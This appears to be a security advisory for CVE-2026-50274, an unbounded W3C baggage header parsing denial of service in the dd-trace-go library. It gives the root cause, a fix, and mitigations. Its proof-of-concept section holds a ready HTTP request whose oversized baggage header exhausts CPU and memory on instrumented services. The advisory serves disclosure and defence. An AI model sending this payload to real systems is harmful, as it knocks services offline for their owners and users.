high · 7.5CVE-2026-50274Jul 15, 2026

CVE-2026-50274: dd-trace-go Unbounded W3C Baggage Header Parsing DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The Datadog Go tracing library parsed incoming W3C baggage HTTP headers with no item-count or size limits, letting any unauthenticated attacker crash an instrumented service by sending a single oversi

Packagegithub.com/DataDog/dd-trace-go
Ecosystemgo
Affected<= 1.24.1

The problem

dd-trace-go's W3C baggage propagator applied `DD_TRACE_BAGGAGE_MAX_ITEMS` (default 64) and `DD_TRACE_BAGGAGE_MAX_BYTES` (default 8192) limits only on the inject (outbound) path. The extract (inbound) path had no such guards.

Every incoming HTTP request is parsed on the hot path. An attacker who sends a baggage header with hundreds or thousands of comma-separated key=value pairs forces the tracer to allocate a hash-map entry for every pair, on every request, with no upper bound. This causes unbounded CPU and memory consumption, enabling remote DoS against any internet-facing Go service instrumented with an affected tracer version.

Proof of concept

A working proof-of-concept for CVE-2026-50274 in github.com/DataDog/dd-trace-go, with the exact payload below.

http
GET / HTTP/1.1
Host: victim.example.com
baggage: k1=v1,k2=v2,k3=v3,k4=v4,k5=v5,k6=v6,k7=v7,k8=v8,k9=v9,k10=v10,k11=v11,k12=v12,k13=v13,k14=v14,k15=v15,k16=v16,k17=v17,k18=v18,k19=v19,k20=v20,k21=v21,k22=v22,k23=v23,k24=v24,k25=v25,k26=v26,k27=v27,k28=v28,k29=v29,k30=v30,k31=v31,k32=v32,k33=v33,k34=v34,k35=v35,k36=v36,k37=v37,k38=v38,k39=v39,k40=v40,k41=v41,k42=v42,k43=v43,k44=v44,k45=v45,k46=v46,k47=v47,k48=v48,k49=v49,k50=v50,k51=v51,k52=v52,k53=v53,k54=v54,k55=v55,k56=v56,k57=v57,k58=v58,k59=v59,k60=v60,k61=v61,k62=v62,k63=v63,k64=v64,k65=v65,...,kN=vN

The root cause is an asymmetric limit enforcement (CWE-400, CWE-770): the same max-items and max-bytes constants that capped baggage on the way out were never checked on the way in. The tracer iterated the full comma-separated member list and allocated a map entry per pair regardless of count or total size.

PR #4720 (`fix(tracer): enforce baggage item and byte limits on extraction`) adds early-exit checks on the extract path that mirror the existing inject-side guards, stopping allocation once either the item count reaches `DD_TRACE_BAGGAGE_MAX_ITEMS` (64) or the running byte total reaches `DD_TRACE_BAGGAGE_MAX_BYTES` (8192).

The same class of bug was independently reported and fixed across the OpenTelemetry ecosystem (Go, Java, .NET, JS, Rust) at roughly the same time.

The fix

Upgrade to dd-trace-go v2.8.1 or later. If an immediate upgrade is not possible, remove `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT`) to disable baggage extraction entirely. As an additional layer, cap inbound header sizes at a proxy or web server: Nginx `large_client_header_buffers`, Apache `LimitRequestFieldSize`, or Envoy `max_request_headers_kb`.

Reported by tonghuaroot.

References: [1][2]

Related research